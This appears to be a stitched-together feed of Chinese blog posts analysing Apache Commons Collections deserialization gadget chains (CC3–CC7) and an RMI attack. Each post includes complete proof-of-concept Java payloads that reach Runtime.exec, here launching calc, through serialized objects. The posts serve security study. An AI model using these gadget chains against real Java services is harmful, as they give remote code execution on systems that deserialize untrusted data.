import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
//        Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
//        RMIInterface rmiInterface = (RMIInterface) registry.lookup("rmiService");//利用注册表的代理去查询远程注册表中名为rmiService的对象
//        System.out.println(rmiInterface.sayHello());
        String url = "rmi://127.0.0.1:1099/user";
        User User = (User) Naming.lookup(url);
        User.work(getPayload());
    }

    public static Object getPayload() throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }
}

客户端运行结果

image-20220616222718134

之所以会弹出计算器，前面有提到过RMI在传输数据的时候，会被序列化，传输的是序列化后的数据，在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。

结尾

对RMI做了简单的了解和使用，后续会对RMI的底层进行分析…

参考

https://www.cnblogs.com/nice0e3/p/13927460.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p> Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p> Java安全之Commons Collections7分析 https://kpa1on.github.io/2022/06/05/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections7%E5%88%86%E6%9E%90/ 2022-06-05T02:37:44.000Z 2022-09-29T17:43:40.568Z

前言

该链和CC6类似，不过CC7利用链中是使用Hashtable作为反序列化的入口点。

利用链

1
2
3
4
5
6
7
8
9
10
11
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
  LazyMap.equals 没实现，找父类
     AbstractMapDecorator.equals
        HashMap.equals 没实现，找父类
           AbstractMap.equals
              LazyMap.get
   ChainedTransformer.transform()
        ConstantTransformer.transform()
 InvokerTransformer.transform()

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package cc7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{"calc"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
    }
}

先看下Hashtable序列化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  private void writeObject(java.io.ObjectOutputStream s) throws IOException {
//临时变量（栈）
      Entry<Object, Object> entryStack = null;
 
      synchronized (this) {
          s.defaultWriteObject();
 
//写入table的容量
          s.writeInt(table.length);
//写入table的元素个数
          s.writeInt(count);
 
          //取出table中的元素，放入栈中（entryStack）
          for (int index = 0; index < table.length; index++) {
              Entry<?,?> entry = table[index];
 
              while (entry != null) {
                  entryStack =
                      new Entry<>(0, entry.key, entry.value, entryStack);
                  entry = entry.next;
              }
          }
      }
 
      //依次写入栈中的每个元素
      while (entryStack != null) {
          s.writeObject(entryStack.key);
          s.writeObject(entryStack.value);
          entryStack = entryStack.next;
      }
  }

Hashtable有一个Entry[]类型的table属性，用于存放元素（键值对）。Hashtable在序列化时会先把table数组的容量和table数组中的元素个数写入到序列化流中，然后将table数组中的元素取出写入到序列化流中。

再来看Hashtable的反序列化流程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
       // Read in the length, threshold, and loadfactor
       s.defaultReadObject();

       // 读取table数组的容量
       int origlength = s.readInt();
//读取table数组的元素个数
       int elements = s.readInt();

//计算table数组的length
       int length = (int)(elements * loadFactor) + (elements / 20) + 3;
       if (length > elements && (length & 1) == 0)
           length--;
       if (origlength > 0 && length > origlength)
           length = origlength;
//根据length创建table数组
       table = new Entry<?,?>[length];
       threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
       count = 0;

//反序列化，还原table数组
       for (; elements > 0; elements--) {
           @SuppressWarnings("unchecked")
               K key = (K)s.readObject();
           @SuppressWarnings("unchecked")
               V value = (V)s.readObject();
           reconstitutionPut(table, key, value);
       }
   }

Hashtable会先从反序列化流中读取table数组的容量和元素个数，根据origlength 和elements 计算出table数组的length，根据length来创建table数组，然后从反序列化流中依次读取每个元素，再调用reconstitutionPut方法将元素重新放入table数组（Hashtable的table属性），最终完成反序列化。

我们分析一下reconstitutionPut方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
       if (value == null) {
           throw new java.io.StreamCorruptedException();
       }

//重新计算key的hash值
       int hash = key.hashCode();
//根据hash值计算存储索引
       int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
       for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
           if ((e.hash == hash) && e.key.equals(key)) {
               throw new java.io.StreamCorruptedException();
           }
       }
       //key不重复则将元素添加到table数组中
       @SuppressWarnings("unchecked")
           Entry<K,V> e = (Entry<K,V>)tab[index];
       tab[index] = new Entry<>(hash, key, value, e);
       count++;
   }

reconstitutionPut方法首先对value进行不为null的校验，否则抛出反序列化异常，然后根据key计算出元素在table数组中的存储索引，判断元素在table数组中是否重复，如果重复则抛出异常，如果不重复则将元素转换成Entry并添加到table数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中，该方法在判断重复元素的时候校验了两个元素的hash值是否一样，然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

跟进e.key.equals()，发现调用的是LazyMap的equals方法，但是LazyMap中并没有equals方法，实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法，虽然AbstractMapDecorator是一个抽象类，但它实现了equals方法。

1
2
3
4
5
6
7
8
public boolean equals(Object object) {
//是否为同一对象（比较引用）
if (object == this) {
return true;
}
//调用HashMap的equals方法
return map.equals(object);
}

这里我们通过LazyMap的decorate()方法将HashMap传给了map属性，因此这里会调用HashMap的equals方法。而HashMap中不存在equals方法，但HashMap继承了AbstractMap抽象类，该类中有一个equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 public boolean equals(Object o) {
//是否为同一对象
      if (o == this)
          return true;
//运行类型是否不是Map
      if (!(o instanceof Map))
          return false;
//向上转型
      Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
      if (m.size() != size())
          return false;
 
      try {
//获取HashMap的迭代器
          Iterator<Entry<K,V>> i = entrySet().iterator();
          while (i.hasNext()) {
//获取每个元素（Node）
              Entry<K,V> e = i.next();
//获取key和value
              K key = e.getKey();
              V value = e.getValue();
//如果value为null，则判断key
              if (value == null) {
                  if (!(m.get(key)==null && m.containsKey(key)))
                      return false;
              } else {
//如果value不为null，判断value内容是否相同
                  if (!value.equals(m.get(key)))
                      return false;
              }
          }
      } catch (ClassCastException unused) {
          return false;
      } catch (NullPointerException unused) {
          return false;
      }
 
      return true;
  }

其中m对象本质上是一个LazyMap，LazyMap的get方法内部会判断当前传入的key是否已存在，如果不在则会进入if语句中调用transform方法，从而产生漏洞。

1
2
3
4
5
6
7
8
9
10
 public Object get(Object key) {
     // create value for key if key is not currently in the map
     if (map.containsKey(key) == false) {
//构造命令执行环境
         Object value = factory.transform(key);
         map.put(key, value);
         return value;
     }
     return map.get(key);
 }

参考

https://blog.csdn.net/qq_35733751/article/details/119862728

https://www.freebuf.com/vuls/330087.html

https://www.cnblogs.com/nice0e3/p/13910833.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>该链和CC6类似，不过CC7利用链中是使用<code>Hashtable</code>作为反序列化的入口点。</p> Java安全之Commons Collections6分析 https://kpa1on.github.io/2022/06/05/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections6%E5%88%86%E6%9E%90/ 2022-06-04T16:31:07.000Z 2022-09-29T17:43:33.448Z

前言

在CC6链中和CC5的利用链类似，只是CC6链中使用的是HashSet去触发LazyMap的get方法，而在CC5中使用的是BadAttributeValueExpException。

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,Testtransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();

    }
}

运行结果如下：

image-20220605003842219

前面的代码和cc1、cc5链一致，看下不同的地方。

1
2
3
4
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
 //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令

使用的是HashSet来进行构造，将前面的TiedMapEntry实例化对象添加进去，还调用了lazyMap.remove方法将test1给移除，这是为了能进入到判断语句里面去。

image-20220605010413225

接下来进行调试分析，在HashSet#readObject()方法中打下断点

image-20220605010153640

在Hashset的readObject方法中，回去调用map的put方法。

image-20220605010848871

这里调用的是Hashmap的put方法，跟进一下该方法。

image-20220605010939375

方法中会调用hash()方法，跟进到hash()方法中，发现会调用key.hashCode()方法

image-20220605011123771

hashcode还会去调用getValue()方法

image-20220605011332786

进入getValue()方法，后续的分析就和cc5一致了

image-20220605011451491

利用链

1
2
3
4
5
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec

补充

poc2：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                )
        };
        Transformer[] fakeTransformers = new Transformer[]{
                new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"test1");
        Map expMap = new HashMap();

        expMap.put(tiedMapEntry,"cc6");

        outerMap.remove("test1");

        Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
        Field field = clazz.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);
        byte[] bytes = serialize(expMap);
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
}

参考

https://www.cnblogs.com/nice0e3/p/13892510.html

https://blog.csdn.net/rfrder/article/details/119739082

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在CC6链中和CC5的利用链类似，只是CC6链中使用的是<code>HashSet</code>去触发<code>LazyMap</code>的get方法，而在CC5中使用的是<code>BadAttributeValueExpException</code>。</p> Java安全之Commons Collections5分析 https://kpa1on.github.io/2022/06/04/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections5%E5%88%86%E6%9E%90/ 2022-06-04T15:50:01.000Z 2022-09-29T17:43:27.803Z

前言

在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager需要是关闭的。

关于SecurityManager的介绍可以看下面的文章：

https://www.cnblogs.com/wly1-6/p/10291202.html

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前面和cc1链是差不多的，主要看后半段：

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

上面代码中首先是实例化了一个TiedMapEntry对象，先来看下TiedMapEntry这个类

image-20220605000443399

该类的构造方法需要2个参数，在poc中我们传入了一个LazyMap实例化对象和一个Object对象，接着继续往下看，可以发现两个方法，分别是getKey()和getValue()，其中getValue()方法会去调用构造方法赋值的map类的get()方法，那么如果我们把LazyMap对象赋值给map，然后调用get()方法的话，就可以完成cc1链中的LazyMap调用链了

image-20220605000737903

我们继续往下看，找下哪个地方会调用到getValue()方法，这里发现有多处会调用到getValue()方法，重点看toString()方法

image-20220605001329397

根据前面poc中下面这部分，这里先new了一个BadAttributeValueExpException的对象，然后通过反射将val的值设置为TiedMapEntry实例化对象。

1
2
3
4
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

后面的poc就是将poc对象进行反序列化，那么，我们直接看下BadAttributeValueExpException这个类的代码，它在反序列化的时候做了什么。

image-20220605001812297

反序列化时会调用BadAttributeValueExpException#readObject()方法，可以看到会调用get()方法将val的值赋值给valObj，而val的值就是前面通过反射赋值的TiedMapEntry实例化对象，在下面又会调用valObj.toString()方法，接着触发getValue()方法

image-20220605002409732

后续就是cc1链的调用过程了。

调用链

1
2
3
4
5
6
7
BadAttributeValueExpException.readObject->TiedMapEntry.toString
->LazyMap.get->ChainedTransformer.transform
->ConstantTransformer.transform->InvokerTransformer.transform
->Method.invoke->Class.getMethod
->InvokerTransformer.transform->Method.invoke
->Runtime.getRuntime-> InvokerTransformer.transform
->Method.invoke->Runtime.exec

参考

https://www.cnblogs.com/nice0e3/p/13890340.html

https://blog.csdn.net/hongduilanjun/article/details/123491483

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在CC5链中<code>ysoserial</code>给出的提示是需要JDK1.8并且<code>SecurityManager</code>需要是关闭的。</p> <p>关于SecurityManager的介绍可以看下面的文章：</p> <p><a href="https://www.cnblogs.com/wly1-6/p/10291202.html">https://www.cnblogs.com/wly1-6/p/10291202.html</a></p> Java安全之Commons Collections4分析 https://kpa1on.github.io/2022/06/04/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections4%E5%88%86%E6%9E%90/ 2022-06-04T15:07:35.000Z 2022-09-29T17:43:22.332Z

前言

在构造CC4链时，看POC可以看出就是把CC2 和CC3的链进行了拼接

POC

根据TransformingComparator 利用链完成调用。

直接给出最终的反序列化 POC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package cc4;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
        import javassist.ClassPool;
        import javassist.CtClass;
        import org.apache.commons.collections4.Transformer;
        import org.apache.commons.collections4.comparators.TransformingComparator;
        import org.apache.commons.collections4.functors.ConstantTransformer;
        import org.apache.commons.collections4.functors.ChainedTransformer;
        import org.apache.commons.collections4.functors.InstantiateTransformer;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

        import javax.xml.transform.Templates;
        import java.io.*;
        import java.lang.reflect.*;
        import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl}
                )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(2);

        Field comparator = queue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(queue, transformingComparator);

        ByteArrayOutputStream b1 = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(b1);
        out.writeObject(queue);
        out.close();
        b1.close();

        System.out.println(b1.toString());

        ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
        ObjectInputStream in = new ObjectInputStream(b2);
        in.readObject();
        in.close();
        b2.close();
    }
}

分析过程就不写了，和之前的链是一样的分析过程，只是触发调用 transformerChain.transform()方法采用的是另外一种方法，即TransformingComparator.compare()。

反序列化时弹出计算器

image-20220604215445704

参考

https://blog.csdn.net/hongduilanjun/article/details/123491483

https://www.cnblogs.com/nice0e3/p/14032604.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>在构造CC4链时，看POC可以看出就是把CC2 和CC3的链进行了拼接</p> Java安全之Commons Collections3分析 https://kpa1on.github.io/2022/06/04/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommons-Collections3%E5%88%86%E6%9E%90/ 2022-06-04T12:16:12.000Z 2022-09-29T17:43:14.841Z

cc3链可以说是cc1和cc2链的结合，下面进行分析。

前置知识

Commons Collections 中提供了一个 org.apache.commons.collections.functors.InstantiateTransformer 类，其实现了 Transformer 接口，并且该类有一个对外公开的构造方法，可以通过传入paramTypes和args对this.iParamTypes 和 this.iArgs 赋值

image-20220604203632075

在上图还可以看到，存在InstantiateTransformer#transform()方法，该方法可以通过反射实例化一个对象并且返回。

此外，我们发现 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 类的构造方法中存在一处 newTransformer() 调用

image-20220604204347822

根据前面cc2链的利用思路，如果我们可以通过 InstantiateTransformer.transform() 方法实例化 TrAXFilter 类，在实例化的过程中，如果我们将 TemplatesImpl 类的对象传入 TrAXFilter 的构造方法，那我们就可以实现前面 cc2链中TemplatesImpl.newTransformer() 方法的调用了。

InstantiateTransformer 利用链

对于 InstantiateTransformer.transform() 方法的调用思路，我们可以参考cc1链。

如下为poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.sec.cc3;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class CCOriginal {
    public static void main(String[] args) throws Exception {
        /*
         * 通过 JAVAssist 创建一个名为 evilClass 的类,
         * 在该类中添加一个 static{} 静态块,
         * 并设置父类为 AbstractTranslet
         */
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("evilClass");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        /* 将 evilClass 类转换成字节码 */
        byte[] evilClassBytes = cc.toBytecode();
        byte[][] evilByteCodes = new byte[][]{evilClassBytes};

        /*
         * 获取一个 TemplatesImpl 类的实例对象,
         * 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
         * 并保证 _name 属性的值不为 null
         */
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
        Field _name = templatesImpl.getClass().getDeclaredField("_name");
        _bytecodes.setAccessible(true);
        _name.setAccessible(true);
        _name.set(templatesImpl, "test");
        _bytecodes.set(templatesImpl, evilByteCodes);

        /* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl}
                )
        };

        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform("test");
    }
}

接下来就是怎么自动触发调用 transformerChain.transform()方法的问题，根据我们前面cc1和cc2学习到的思路，一共有三种方法可以触发：

  • TransformedMap 利用链：TransformedMap.checkSetValue()
  • LazyMap 利用链：LazyMap.get()
  • TransformingComparator 利用链：TransformingComparator.compare()（这种思路是cc4中的）

